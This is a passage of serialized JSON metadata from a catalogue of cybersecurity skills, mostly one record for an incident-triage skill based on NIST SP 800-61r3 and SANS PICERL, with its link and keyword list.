framework","status","planning","CISA","vulnerability-management","risk-management","nessus","qualys","openvas","cvss","remediation","risk","vulnerability","api","prioritization","ssvc","decision-tree",{"skillNo":256,"name":257,"nameZh":6,"description":258,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":259,"categories":260,"keywords":262,"publishedAt":50},"01M6AGD24TTQQM4CXG69E3B9TJ","triaging-security-incident","Performs initial triage of security incidents using the NIST SP 800-61r3 and SANS PICERL frameworks, classifying incident type, assigning priority by business impact, and routing to the appropriate response team. Use when a SIEM\u002FEDR alert needs human classification, concurrent alerts must be prioritized, or a user report or threat-intel IOC match requires initial incident categorization.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-security-incident\u002FSKILL.md",[261],{"categoryNo":27,"categoryName":28,"taxonomyType":21,"taxonomyTypeDesc":22},[49,263,48,264,265,266,267,268,269,270,271,199,272,200,273,274,275,276,277,278],"triaging security incident","siem","file","ioc","soc","NIST-800-61","NIST","severity","edr","execution","analysis","classification","severity-classification","incident-triage","SANS-PICERL","SOC-operations"]